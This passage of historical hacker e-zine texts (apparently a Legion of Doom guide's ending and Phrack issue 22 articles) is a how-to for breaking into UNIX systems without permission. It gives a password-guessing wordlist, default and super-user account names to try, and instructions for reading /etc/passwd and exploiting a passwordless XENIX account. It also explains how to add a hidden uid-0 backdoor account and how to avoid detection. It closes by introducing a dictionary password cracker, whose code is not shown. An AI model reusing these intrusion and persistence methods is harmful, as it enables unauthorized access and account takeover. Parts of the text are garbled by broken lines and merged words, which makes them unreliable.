There will also be many occasions when the default passwords will not work on an account. At this point, you can either go onto the next system on your list, or you can try to 'brute‑force' your way in by trying a large database of passwords on that one account. Be careful, though! This works fine on systems that don't keep track of invalid logins, but on a system like a VMS, someone is going to have a heart attack if they come back and see '600 Bad Login Attempts Since Last Session' on their account. There are also some operating systems that disconnect after 'x' number of invalid login attempts and refuse to allow any more attempts for one hour, or ten minutes, or sometimes until the next day.

The following list is taken from my own password database plus the database of passwords that was used in the Internet UNIX Worm that was running around in November of 1988. For a shorter group, try first names, computer terms, and obvious things like 'secret', 'password', 'open', and the name of the account. Also try the name of the company that owns the computer system (if known), the company initials, and things relating to the products the company makes or deals with.

Password List

==========

aaa daniel jester rascal academia danny johnny really ada dave joseph rebecca adrian deb joshua remote aerobics debbie judith rick airplane deborah juggle reagan albany december julia robot albatross desperate kathleen robotics albert develop kermit rolex alex diet kernel ronald alexander digital knight rosebud algebra discovery lambda rosemary alias disney larry roses alpha dog lazarus ruben alphabet drought lee rules ama duncan leroy ruth amy easy lewis sal analog eatme light saxon anchor edges lisa scheme andy erenity

arrow elizabeth maggot sex arthur ellen magic shark asshole emerald malcolm sharon athena engine mark shit atmosphere engineer markus shiva bacchus enterprise marty shuttle badass enzyme marvin simon bailey euclid master simple banana evelyn maurice singer bandit extension merlin single banks fairway mets smile bass felicia michael smiles batman fender michelle smooch beauty fermat mike smother beaver finite minimum snatch beethoven flower minsky snoopy beloved foolproof mogul soap benz football moose socrates beowulf format mozart spit berkeley forsythe nancy spring berlin fourier napoleon subway beta fred network success beverly friend newton summer angerine

bumbling george osiris tape cardinal gertrude outlaw target carmen gibson oxford taylor carolina ginger pacific telephone caroline gnu painless temptation castle golf pam tiger cat golfer paper toggle celtics gorgeous password tomato change graham pat toyota charles gryphon patricia trivial charming guest penguin unhappy charon guitar pete unicorn chester hacker peter unknown cigar harmony philip urchin classic harold phoenix utility coffee harvey pierre vicky coke heinlein pizza virginia collins hello plover warren comrade help polynomial water computer herbert praise weenie condo honey prelude whatnot condom horse prince whitney cookie imperial protect will cooper include pumpkin william create ingres puppet willie creation innocuous rabbit winston

I hope this file has been of some help in getting started. If you're asking yourself the question 'Why hack?', then you've probably wasted a lot of time reading this, as you'll never understand. For those of you who have read this and found it useful, please send a tax‑deductible donation

of $5.00 (or more!) in the name of the Legion of Doom to:

The American Cancer Society

90 Park Avenue

New York, NY 10016

****************************************

References:

1) Introduction to ItaPAC by Blade Runner

Telecom Security Bulletin 1

2) The IBM VM/CMS Operating System by Lex Luthor

The LOD/H Technical Journal 2

3) Hacking the IRIS Operating System by The Leftist

The LOD/H Technical Journal 3

4) Hacking CDC's Cyber by Phrozen Ghost

Phrack Inc. Newsletter 18

5) USENET comp.risks digest (various authors, various issues)

6) USENET unix.wizards forum (various authors)

7) USENET info‑vax forum (various authors)

Recommended Reading:

1) Hackers by Steven Levy

2) Out of the Inner Circle by Bill Landreth

3) Turing's Man by J. David Bolter

4) Soul of a New Machine by Tracy Kidder

5) Neuromancer, Count Zero, Mona Lisa Overdrive, and Burning Chrome, all by William Gibson

6) Reality Hackers Magazine c/o High Frontiers, P.O. Box 40271, Berkeley, California, 94704, 415‑995‑2606

7) Any of the Phrack Inc. Newsletters & LOD/H Technical Journals you can find.

Acknowledgements:

Thanks to my wife for putting up with me.

Thanks to Lone Wolf for the RSTS & TOPS assistance.

Thanks to Android Pope for proofreading, suggestions, and beer. Thanks to The Urvile/Necron 99 for proofreading & Cyber info. Thanks to Eric Bloodaxe for wading through all the trash. Thanks to the users of Phoenix Project for their contributions. Thanks to Altos Computer Systems, Munich, for the chat system. Thanks to the various security personel who were willing to talk to me about how they operate.

Boards:

I can be reached on the following systems with some regularity;

The Phoenix Project: 512/441‑3088 300‑2400 baud Hacker's Den‑80: 718/358‑9209 300‑1200 baud Smash Palace South: 512/478‑6747 300‑2400 baud Smash Palace North: 612/633‑0509 300‑2400 baud

An Indepth Guide In Hacking Unix

==Phrack Inc.==

Volume Two, Issue 22, File 5 of 12

/|/|/|/|/|/|/|/|/|/|/

|/

/| An Indepth Guide In Hacking UNIX /|

|/ and |/

/| The Concept Of Basic Networking Utility /|

|/

/| By Red Knight /|

|/

/| Member of the /|

|/ Phreakers/Hackers Underground Network |/

/|

|/|/|/|/|/|/|/|/|/|/

Brief History On UNIX

~~~~~~~~~~~~~~~~~~~~~

Its because of Ken Tompson that today we are able to hack Unix. He used to work for Bell Labs in the 1960s. Tompson started out using the MULTICS OS which was later eliminated and Tompson was left without an operating system to work with.

Tompson had to come up with something real quick. He did some research and and in 1969 UNIX came out, which was a single user and it did not have many capabilities. A combined effort with others enabled him to rewrite the version in C and add some good features. This version was released in 1973 and was made available to the public. This was the first begining of UNIX in its presently known form. The more refined version of UNIX, today know as UNIX system V developed by Berkley University has unique capabilities.

Various types of UNIXes are CPIX, Berkeley Ver 4.1, Berkeley 4.2, FOS, Genix, HP‑UX, IS/I, OSx, PC‑IX, PERPOS, Sys3, Ultrix, Zeus, Xenix, UNITY, VENIX, UTS, Unisys, Unip lus+, UNOS, Idris, QNIX, Coherent, Cromix, System III, System 7, Sixth edition.

The Article Itself

~~~~~~~~~~~~~~~~~~

I believe that hacking into any system requires knowledge of the operating system itself. Basically what I will try to do is make you more familiar with UNIX operation and its useful commands that will be advantageous to you as a hacker. This article contains indepth explainations. I have used the UNIX System V to write this article.

Error Messages: (UNIX System V)

~~~~~~~~~~~~~~

Login Incorrect ‑ An invalid ID and/or password was entered. This means nothing. In UNIX there is no way guessing valid user IDs. You may come across this one when trying to get in.

No More Logins ‑ This happens when the system will not accept anymore logins. The system could be going down.

Unknown Id ‑ This happens if an invalid id is entered using (su) command.

Unexpected Eof In File ‑ The file being stripped or the file has been damaged.

Your Password Has Expired ‑ This is quite rare although there are situations where it can happen. Reading the etc/passwd will show you at how many intervals it changes.

You May Not Change The Password ‑ The password has not yet aged enough. The

administrator set the quotas for the users.

Unknown Group (Group's Name) ‑ Occurs when chgrp is executed, group does not

exist.

Sorry ‑ Indicated that you have typed in an invalid super user password (execution of the su).

Permission Denied! ‑ Indicated you must be the owner or a super user to change password.

Sorry <( Of Weeks) Since Last Change ‑ This will happen when password has has

not aged enough and you tried to change

it (password).

(Directory Name): No Permission ‑ You are trying to remove a directory which

you have no permission to.

(File Name) Not Removed ‑ Trying to delete a file owned by another user that you do not have write permission for.

(Dirname) Not Removed ‑ Ownership of the dir is not your that your trying to delete.

(Dirname) Not Empty ‑ The directory contains files so you must have to delete the files before execcant open [file name] ‑ defined wrong path, file name or you have no read permission.

Cp: (File Name) And (File Name) Are Identical ‑ Self explanatory.

Cannot Locate Parent Directory ‑ Occurs when using mv.

(File name) Not Found ‑ File which your trying to move does not exist.

You Have Mail ‑ Self explanatory.

Basic Networking Utility Error Messages

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Cu: Not found ‑ Networking not installed.

Login Failed ‑ Invalid id/pw or wrong number specified. Dial Failed ‑ The systen never answered due to a wrong number. UUCP Completely Failed ‑ Did not specify file after ‑s.

Wrong Time to Call ‑ You called at the time at a time not specified in the Systems file.

System not in systems ‑ You called a remote not in the systems file.

Logon Format

~~~~~~~~~~~~

The first thing you must do is switch to lower case. To identifing a UNIX, this is what you will see;

AT&T Unix System V 3.0 (eg of a system identifier)

login:

or

Login:

Any of these is a UNIX. Here is where you will have to guess at a user valid id. Here are some that I have come across; glr, glt, radgo, rml, chester, cat, lom, cora, hlto, hwill, edcasey, and also some containing numbers; smith1, mitu6, or special characters in it; bremer$, jfox. Login names have to be 3 to 8 chracters in length, lowercase, and must start with a letter. In some XENIX systems one may login as "guest"

User Level Accounts (Lower Case)

~~~~~~~~~~~~~~~~~~~

In Unix there are what is called. These accounts can be used at the "login:" prompt. Here is a list:

sys bin trouble daemon uucp nuucp rje lp adm

Super‑User Accounts

~~~~~~~~~~~~~~~~~~~

There is also a super‑user login which make UNIX worth hacking. The accounts are used for a specific job. In large systems these logins are assingned to users who have a responsibilty to maintain subsystems.

They are as follows (all lower case);

root ‑ This is a must the system comes configured with it. It has no restriction. It has power over every other account. unmountsys ‑ Unmounts files

setup ‑ System set up

makefsys ‑ Makes a new file

sysadm ‑ Allows useful S.A commands (doesn't need root login) powerdown ‑ Powering system down

mountfsys ‑ Mounts files

checkfsys ‑ Checks file

These accounts will definitly have passwords assigned to them. These accounts are also commands used by the system administrator. After the login prompt you will receive a password prompt:

password:

or

Password:

Enter the password (it will not echo). The password rule is as follows; Each password has to contain at least 6 characters and maximum of 8 characters. Two of which are to be alphabetic letters and at least one being a number or a special character. The alphabetic digits could be in upper case or lower case. Here are some of the passwords that I have seen; Ansuya1, PLAT00N6, uFo/78, ShAsHi.., Div417co.

The passwords for the super user accounts will be difficult to hack try the accounts interchangebly; login:sysadm password:makefsys, or rje1, sysop, sysop1, bin4, or they might contain letters, numbers, or special chracters in them. It could be anything. The user passwords are changed by an aging proccess at successive intervals. The users are forced to changed it. The super‑user will pick a password that will not need changing for a long period of time.

You Have Made It!

~~~~~~~~~~~~~~~~~

The hard part is over and hopefully you have hacked a super‑user account. Remember Control‑d stops a process and also logs you off. The next thing you will probably see is the system news. Ex;

login:john

password:hacker1

System news

There will be no networking offered to the users till

August 15, due to hardware problems.

(Just An Example)

$

$ (this is the Unix prompt) ‑ Waiting for a command to be entered. ‑ Means your logged in as root (Very Good).

A Word About The XENIX System III (Run On The Tandy 6000)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The largest weakness in the XENIX System III occurs after the installation of the Profile‑16 or more commonly know as the Filepro‑16. I have seen the Filepro‑16 installed in many systems. The installation process creates an entry in the password file for a user named \fBprofile\fR, an account that who owns and administors the database. The great thing about it is that when the account is created, no password is assigned to it. The database contains executable to maintain it. The database creation programs perform a \fBsetuid\fR to boot up the \fBoot\fR thereby giving a person the whole C Shell to gain Super User privilege same as root. Intresting huh!

(* Note: First the article will inform you of how the Unix is made up.)

The Unix is made if three components ‑ The Shell, The Kernal, File System.

The Kernal

~~~~~~~~~~

You could say that the kernal is the heart of the Unix operating system. The kernal is a low level language lower than the shell which maintains processes. The kernal handles memory usage, maintains file system the sofware and hardware devices.

The Shell

~~~~~~~~~

The shell a higher level language. The shell had two important uses, to act as command interpreture for example using commands like cat or who. The shell is at work figuring out whether you have entered a command correctly or not. The second most important reason for the shell is its ability to be used as programing language. Suppose your performing some tasks repeatedly over and over again, you can program the shell to do this for you.

(Note: This article will not cover shell programming.) ( Instead B.N.N will be covered. )

The File System

~~~~~~~~~~~~~~~

The file system in Unix is divided into 3 catagories: Directories, ordinary files and special files (d,‑).

Basic Stucture:

(/)‑this is abreviation for the root dirctory.

root level root

(/) system

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑level

| | | |

/unix /etc /dev /tmp /lib /usr /usr2 /bin

|

login passwd |

level john /cathy

__________

| |

.profile /mail /pers /games /bin /michelle

*.profile ‑ in case you | __|______ |

wish to change your environment, but capital | | data | | | after you log off, it sets it to othello starwars letter letter1 default.

/unix ‑ This is the kernal.

/etc ‑ Contains system administrators files,Most are not available to the regular user (this dirrctory contains the /passwd file).

Here are some files under /etc directory:

/etc/passwd

/etc/utmp

/etc/adm/sulog

/etc/motd

/etc/group

/etc/conf

/etc/profile

/dev ‑ contains files for physical devices such as printer and the disk drives /tmp ‑ temporary file directory

/lib ‑ dirctory that contains programs for high level languages /usr ‑ this directory contains dirctories for each user on the system /bin ‑ contain executable programs (commands)

The root also contains:

/bck ‑ used to mount a back up file system.

/install ‑ Used to install and remove utilities

/lost+found ‑ This is where all the removed files go, this dir is used by fsck /save ‑A utility used to save data

/mnt ‑ Used for temporary mounting

**Now the fun part scouting around**

Local Commands (Explained In Details)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

At the unix prompt type the pwd command. It will show you the current working directory you are in.

$ pwd

$ /usr/admin ‑ assuming that you have hacked into a super user account check fsys

$

This gives you the full login directory. The / before tell you the location of the root directory.

Or

(REFER TO THE DIAGRAM ABOVE)

$ pwd

$ /usr/john

$

Assuming you have hacked into John's account.

Lets say you wanted to move down to the Michelle directory that contains letters. You would type in;

$ cd michelle or cd usr/john/michelle

$ pwd

$ /usr/john/michelle

$

Going back one directory up type in:

$ cd ..

or going to your parent directory just type in "cd"

Listing file directories assuming you have just logged in:

$ ls /usr/john

mail

pers

games

bin

michelle

This wont give you the .profile file. To view it type

$ cd

$ ls ‑a

:

:

.profile

To list file names in Michelle's directory type in:

$ ls michelle (that if your in the johns directory)

$ ls /usr/john/michelle(parent dir)

ls ‑l

~~~~~

The ls ‑l is an an important command in unix.This command displays the whole directory in long format :Run this in parent directory.

$ ls ‑l

total 60

‑rwxr‑x‑‑‑ 5 john bluebox 10 april 9 7:04 mail drwx‑‑‑‑‑‑ 7 john bluebox 30 april 2 4:09 pers

: : : :

: : : :

‑rwxr‑x‑‑‑ 6 cathy bluebox 13 april 1 13:00 partys

: : : :

$

The total 60 tells one the ammount of disk space used in a directory. The ‑rwxr‑x‑‑‑ is read in triples of 3. The first chracter eg (‑, d, b, c) means as follows: ‑ is an ordinary file, d is a directory, b is block file, c is a character file.

The r stands for read permission, w is write permission, x is execute. The first column is read in 3 triples as stated above. The first group of 3 (in ‑rwxr‑x‑‑‑) after the "‑" specifies the permission for the owner of the file, the second triple are for the groups (the fourth column) and the last triple are the permissions for all other users. Therefore, the ‑rwxr‑x‑‑‑ is read as follows.

The owner, John, has permission to read, write, and execute anything in the bin directory but the group has no write permission to it and the rest of the users have no permission at all. The format of one of the lines in the above output is as follows:

file type‑permissions, links, user's name, group, bytes taken, date, time when last renued, directory, or file name.

*** You will be able to read, execute Cathy's *** *** file named partly due to the same group. ***

Chmod

~~~~~

The chmod command changes permission of a directory or a file. Format is chmod who+, ‑, =r , w, x

The who is substituted by u‑user, g‑group, o‑other users, a‑all. The + means add permission, ‑ means remove permission, = ‑ assign. Example: If you wanted all other users to read the file name mail, type:

$ chmod o+r mail

Cat

~~~

Now suppose you wanted to read the file letter. There are two ways to doing this. First go to the michelle directory then type in:

$ cat letter

line one ...\

line two ... }the output of letter

line three../

$

or

If you are in the parent directory type in:

$ cat /usr/john/michelle/letter

and you will have the same output.

Some cat options are ‑s, ‑u, ‑v, ‑e, ‑t

Special Chracters in Unix

~~~~~~~~~~~~~~~~~~~~~~~~~

* ‑ Matches any number of single characters eg. ls john* will list all files that begin with john

[...] ‑ Matchs any one of the chracter in the [ ]

? ‑ Matches any single chracter

& ‑ Runs a process in the backgroung leaving your terminal free $ ‑ Values used for variables also $n ‑ null argument

> ‑ Redirectes output

< ‑ Redirects input to come from a file

>> ‑ Redirects command to be added to the end of a file

| ‑ Pipe output (eg:who|wc‑l tells us how many users are online) "..." ‑ Turn of meaning of special chracters excluding $,`

`...` ‑ Allows command output in to be used in a command line '...' ‑ Turns of special meaning of all chracters

Continuation Of Local Commands

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

man [command] or [c/r] ‑will give you a list of commands explainations help ‑ available on some UNIX systems

mkdir [dir name(s)] ‑ makes a directory

rmdir [dir name(s)] ‑ removes directory.You wont be able to remove the directory if it contains files in them

rm [file name(s)] ‑ removes files. rm * will erase all files in the current dir. Be carefull you! Some options are: [‑f unconditional removal] [‑i Prompts user for y or n]

ps [‑a all processes except group leaders] [‑e all processes] [‑f the whole list] ‑ This command reports processes you are running eg:

$ps

PID TTY TIME COMMAND

200 tty09 14:20 ps

The systems reports (PID ‑ process idenetification number which is a number from 1‑30,000 assigned to UNIX processes)

It also reports the TTY,TIME and the COMMAND being executed at the time. To stop a process enter :

$kill [PID] (this case its 200)

200 terminated

$

grep (argument) ‑ searches for an file that contains the argument mv (file names(s)) ( dir name ) ‑ renames a file or moves it to another

directory

cp [file name] [file name] ‑ makes a copy of a file

write [login name ] ‑ to write to other logged in users. Sort of a chat mesg [‑n] [‑y] ‑ doesn't allow others to send you messages using the write command. Wall used by system adm overrides it.

$ [file name] ‑ to execute any file

wc [file name] ‑ Counts words, characters,lines in a file

stty [modes] ‑ Set terminal I/O for the current devices

sort [filename] ‑ Sorts and merges files many options

spell [file name] > [file name] ‑ The second file is where the misspelt words

are entered

date [+%m%d%y*] [+%H%%M%S] ‑ Displays date acoording to options

at [‑r] [‑l] [job] ‑ Does a specified job at a specified time. The ‑r Removes all previously scheduled jobs.The ‑l reports the job and status of all jobs scheduled

write [login] [tty] ‑ Sends message to the login name. Chat!

Su [login name]

~~~~~~~~~~~~~~~

The su command allows one to switch user to a super user to a user. Very important could be used to switch to super user accounts.

Usage:

$ su sysadm

password:

This su command will be monitored in /usr/adm/sulog and this file of all files is carefully monitered by the system administrator.Suppose you hacked in john's account and then switched to the sysadm account (ABOVE) your /usr/adm/su log entry would look like:

SU 04/19/88 21:00 + tty 12 john‑sysadm

Therfore the S.A(system administrator) would know that john swithed to sysadm account on 4/19/88 at 21:00 hours

Searching For Valid Login Names:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Type in‑

$ who ( command informs the user of other users on the system) cathy tty1 april 19 2:30

john tty2 april 19 2:19

dipal tty3 april 19 2:31

:

:

tty is the user's terminal, date, time each logged on. mary, dr.m are valid logins.

Files worth concatenating(cat)

/etc/passwd file

~~~~~~~~~~~~~~~~

The etc/passwd is a vital file to cat. For it contains login names of all users including super user accounts and there passwords. In the newer SVR3 releases they are tighting their security by moving the encrypted passwords from /etc/passwd to /etc/shadow making it only readable by root. This is optional of course.

$ cat /etc/passwd

root:D943/sys34:0:1:0000:/: sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh

:

other super user accs.

:

john:hacker1:34:3:john scezerend:/usr/john:

:

other users

:

$

If you have reached this far capture this file as soon as possible. This is a typical output etc/passwd file. The entries are seperated by a ":". There made be up to 7 fields in each line.

Eg.sysadm account.

The first is the login name in this case sysadm.The second field contains the password. The third field contains the user id."0 is the root." Then comes the group id then the account which contains the user full name etc. The sixth field is the login directory defines the full path name of the the paticular account and the last is the program to be executed. Now one can switch to other super user account using su command descibed above. The password entry in the field of the checkfsys account in the above example is "Locked;". This doesn't mean thats its a password but the account checkfsys cannot be accessed remotely. The ";" acts as an unused encryption character. A space is also used for the same purpose. You will find this in many UNIX systems that are small systems where the system administrator handles all maintaince.

If the shawdowing is active the /etc/passwd would look like this:

root:x:0:1:0000:/:

sysadm:x:0:0:administration:/usr/admin:/bin/rsh

The password filed is substituted by "x".

The /etc/shawdow file only readable by root will look similar to this:

root:D943/sys34:5288::

:

super user accounts

:

Cathy:masai1:5055:7:120

:

all other users

:

The first field contains users id: The second contains the password (The pw will be NONE if logining in remotely is deactivated): The third contains a code of when the password was last changed: The fourth and the fifth contains the minimum and the maximum numbers of days for pw changes (its rare that you will find this in the super user logins due to there hard to guess passwords)

/etc/options

~~~~~~~~~~~~

The etc/options file informs one the utilities available in the system. ‑rwxr‑xr‑x 1 root sys 40 april 1:00 Basic Networking utility

/etc/group

~~~~~~~~~~

The file has each group on the system. Each line will have 4 entries separated by a ":". Example of concatenated /etc/group:

root::0:root

adm::2:adm,root

bluebox::70:

Group name:password:group id:login names

** It very unlikely that groups will have passwords assigned to them ** The id "0" is assigned to /

Sending And Recieving Messages

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Two programs are used to manage this. They are mail & mailx. The difference between them is that mailx is more fancier thereby giving you many choices like replying message, using editors, etc.

Sending

~~~~~~~

The basic format for using this command is:

$mail [login(s)]

(now one would enter the text after finishing enter "." a period on the next blank line)

$

This command is also used to send mail to remote systems. Suppose you wanted to send mail to john on a remote called ATT01 you would type in:

$mail ATT01!john

Mail can be sent to several users, just by entering more login name after issuing the mail command

Using mailx is the same format:(This I'll describe very briefly) $mailx john subject:(this lets you enter the subject)

(line 1)

(line 2)

(After you finish enter (~.) not the brackets of course, more commands are available like ~p, ~r, ~v, ~m, ~h, ~b, etc.).

Receiving

~~~~~~~~~

After you log on to the system you will the account may have mail waiting. You will be notified "you have mail."

To read this enter:

$mail

(line 1)

(line 2)

(line 3)

?

$

After the message you will be prompted with a question mark. Here you have a choice to delete it by entering d, saving it to view it later s, or just press enter to view the next message.

(DON'T BE A SAVANT AND DELETE THE POOR GUY'S MAIL)

Super User Commands

~~~~~~~~~~~~~~~~~~~

$sysadm adduser ‑ will take you through a routine to add a user (may not last long)

Enter this:

$ sysadm adduser

password:

(this is what you will see)

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Process running succommmand `adduser`

USER MANAGMENT

Anytime you want to quit, type "q".

If you are not sure how to answer any prompt, type "?" for help

If a default appears in the question, press <RETURN> for the default.

Enter users full name [?,q]: (enter the name you want)

Enter users login ID [?,q]:(the id you want to use)

Enter users ID number (default 50000) [?,q) [?,q]:( press return ) Enter group ID number or group name:(any name from /etc/group) Enter users login home directory:(enter /usr/name)

This is the information for the new login:

Users name: (name)

login ID:(id)

users ID:50000

group ID or name:

home directory:/usr/name

Do you want to install, edit, skip [i, e, s, q]? (enter your choice if "i" then)

Login installed

Do you want to give the user a password?[y,n] (its better to enter one) New password:

Re‑enter password:

Do you want to add another login?

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is the proccess to add a user. Since you hacked into a super user account you can make a super user account by doing the following by entering 0 as an user and a group ID and enter the home directory as /usr/admin. This will give you as much access as the account sysadm.

**Caution** ‑ Do not use login names like Hacker, Cracker,Phreak etc. This is a total give away.

The process of adding a user wont last very long the S.A will know when he checks out the /etc/passwd file

$sysadm moduser ‑ This utility allows one to modify users. DO NOT ABUSE!! !

Password:

This is what you'll see:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MODIFYING USER'S LOGIN

1)chgloginid (This is to change the login ID)

2)chgpassword (Changing password)

3)chgshell (Changing directory DEFAULT = /bin/sh)

ENTER A NUMBER,NAME,INITIAL PART OF OF NAME,OR ? OR <NUMBER>? FOR HELP, Q TO QUIT ?

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Try every one of them out.Do not change someones password.It creates a havoc. If you do decide to change it.Please write the original one down somewhere and change back.Try not to leave to many traces after you had your fun. In choice number 1 you will be asked for the login and then the new one. In choice number 2 you will asked for the login and then supplied by it correct password and enter a new one. In choice 3 this is used to a pchange the login shell ** Use full ** The above utilites can be used separatly for eg (To change a password one could enter: $sysadm chgpasswd not chapassword, The rest are same)

$sysadm deluser ‑ This is an obviously to delete a user password:

This will be the screen output:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Running subcommand 'deluser' from menu 'usermgmt'

USER MANAGEMENT

This fuction completely removes the user,their mail file,home directory and all files below their home directory from the machine.

Enter login ID you wish to remove[q]: (eg.cathy)

'cathy' belongs to 'Cathy Franklin'

whose home directory is /usr/cathy

Do you want to remove this login ID 'cathy' ? [y,n,?,q] :

/usr/cathy and all files under it have been deleted.

Enter login ID you wish to remove [q]:

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This command deletes everthing owned by the user.Again this would be stupid to use.

Other Super User Commands

~~~~~~~~~~~~~~~~~~~~~~~~~

wall [text] control‑d ‑ to send an anouncement to users logged in (will override mesg ‑n command). Execute only from / /etc/newgrp ‑ is used to become a member of a group

sysadm [program name]

delgroup ‑ delets groups

diskuse ‑ Shows free space etc.

whoson ‑ self explanatory

lsgroup ‑ Lists group

mklineset ‑hunts various sequences

Basic Networking Unility (BNU)

~~~~~~~~~~~~~~~~

The BNU is a unique feature in UNIX.Some systems may not have this installed. What BNU does is allow other remote UNIXes communicate with yours without logging off the present one.BNU also allowes file transfer between computers. Most UNIX systems V will have this feature installed.

The user program like cu,uux etc are located in the /usr/bin directory

Basic Networking Files

~~~~~~~~~~~~~~~~~~~~~~

/usr/lib/uucp/[file name]

[file name]

systems ‑ cu command to establishes link.Contains info on remote computers name, time it can be reached, login Id, password, telephone numbers devices ‑ inter connected with systems files (Automatic call unit same in two entries) also contains baud rate, port tty1, etc.

dialers ‑ where asscii converation must be made before file tranfers etc. dialcodes ‑ contains abreiviations for phone numbers that can be used in systems file

other files are sysfiles, permissions, poll, devconfig

Logining On To Remote And Sending+Receiving Files

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

cu ‑ This command allows one to log on to the local as well as the remote Unix (or a non unix)without haveing to hang up so you can transfer files. Usage:[options]

$ cu [‑s baud rate][‑o odd parity][‑e even parity][‑l name of comm line] telephone number | systemname

To view system names that you can communicate with use the 'unname' command: Eg. of output of names:

ATT01

ATT02

ATT03

ATT04

$ cu ‑s300 3=9872344 (9872344 is the tel)

connected

login:

password:

Local Strings

~~~~~~~~~~~~~

<~.> ‑ will log you off the remote terminal, but not the local <control‑d> ‑ puts you back on the remote unix local (the directory which you are in)

"%put [file name] ‑ reverse of above

Ct

~~

ct allows local to connect to remote.Initiates a getty on a remote terminal. Usefull when using a remote terminal.BNU has call back feature that allows the user on the remote who can execute a call back meaning the local can call the remote.[ ] are options

$ ct [‑h prevent automatic hang up][‑s bps rate][‑wt set a time to call back abbrieviated t mins] telephone number

Uux

~~~

To execute commands on a remote (unix to unix)

usage:[ ] are options

$ uux [‑ use standard output][‑n prevent mail notification][‑p also use standard output] command‑string

UUCP

~~~~

UUCP copies files from ones computer to the home directory of a user in remote system. This also works when copying files from one directory to another in the remote. The remote user will be notified by mail. This command becomes use full when copying files from a remote to your local system. The UUCP requires the uucico daemon will call up the remote and will perform file login sequence, file transfer, and notify the user by mail. Daemons are programs runining in the background. The 3 daemons in a Unix are uucico, uusched, uuxqt.

Daemons Explained: [nows a good time to explain the 3 daemons] ~~~~~~~~~~~~~~~~~

Uuxqt ‑ Remote execution. This daemon is executed by uudemon.hour started by cron.UUXQT searchs in the spool directory for executable file named X.file sent from the remote system. When it finds a file X .file where it obtains process which are to be executed. The next step is to find weather the processes are available at the time.The if available it checks permission and if everthing is o.k it proceeds the background proccess.

Uucico ‑ This Daemon is very immportant for it is responsible in establishing a connection to the remote also checks permission, performs login procedures,transfers + executes files and also notifies the user by mail. This daemon is called upon by uucp,uuto,uux commands.

Uusched ‑ This is executed by the shell script called uudemon.hour. This daemons acts as a randomizer before the UUCICO daemon is called.

Usage:

$ uucp [options] [first full path name!] file [destination path!] file example:

$ uucp ‑m ‑s bbss hackers unix2!/usr/todd/hackers

What this would do is send the file hackers from your computer to the remotes /usr/todd/hackers making hackers of course as file. Todd would mail that a file has been sent to him. The Unix2 is the name of the remote. Options for UUCP: (Don't forget to type in remotes name Unix2 in case)

‑c dont copy files to spool directory

‑C copy to spool

‑s[file name] ‑ this file will contain the file status(above is bbss) ‑r Dont start the comm program(uucico) yet

‑j print job number(for above eg.unix2e9o3)

‑m send mail when file file is complete

Now suppose you wanted to receive file called kenya which is in the usr/ dan/usa to your home directory /usr/john assuming that the local systems name is ATT01 and you are currently working in /usr/dan/usa,you would type in:

$uucp kenya ATT01!/usr/john/kenya

Uuto

~~~~

The uuto command allows one to send file to remote user and can also be used to send files locally.

Usage:

$ uuto [file name] [system!login name]( omit systen name if local)

Conclusion

~~~~~~~~~~

Theres always more one can say about the UNIX, but its time to stop. I hope you have enjoyed the article. I apologize for the length. I hope I made the UNIX operating system more familiar. The contents of the article are all accurate to my knowledge. Hacking into any system is illegal so try to use remote dial‑ups to the job. Remember do not abuse any systems you hack into for a true hacker doesn't like to wreck, but to learn.

Watch for my new article on using PANAMAC airline computers coming soon.

Red Knight

P/HUN!

<<T.S.A.N>>

Yet Another File On Hacking Unix

==Phrack Inc.==

Volume Two, Issue 22, File 6 of 12

()()()()()()()()()()()()()()

()()

() Yet Another File On Hacking Unix! ()

() ~~~~~~~~~~~~~~~~~

() By ()

()

() >Unknown User< ()

() A special "ghost" writer of Phrack Inc. ()

()()

()()()()()()()()()()()()()()

Greetings from The Unix Front...

I am unable to use my real alias since it has now become too well known and others are able to associate it with my real name. Let us just say that I have been around for a long time, and can you say "Code Buster"? Obsolete now, nonetheless taught many how to write better ones.

The following C code will enable you to ferret out poorly constructed passwords from /etc/passwd. What I mean by poor passwords is obvious, these consist of passwords based on the user's name, and even words found in the dictionary. The most secure password is one that has been constructed from nonsense words, odd combinations of one word, with control characters and numbers thrown in. My program is not able to deal with a decent password, nor did I intend it to. To write something capable of dealing with a secure password would have been incredibly complex, and take weeks to run on even the fastest of cpu's.

Locate a dictionary file from your nearest Unix system. This is commonly located in /usr/dict/words. These files will vary from 200K to 5 Megabytes. The more words your dictionary file has in it, the more effective this program will be. The program can do a quick scan based on just the identifying name fields in /etc/passwd or perform a complete scan using the dictionary file. It basically compares one /etc/passwd entry to each word in your dictionary file, until it finds the password, or reaches eof,and begins the scan on the next password.

It will take days to process a large /etc/passwd file. When you re‑direct the output to a log file, make sure you run some sort of cron daemon that will extract any decoded passwords, and then nulls the log file. I can suggest /bin/nohup for this task since you can log off and the task continues to run. Otherwise, the log file can grow to be megabytes depending on the actual size of the /etc/passwd file and your dictionary..This program,while written with one purpose in mind (obtaining passwords),is also a positive contribution to Unix System Administrators.

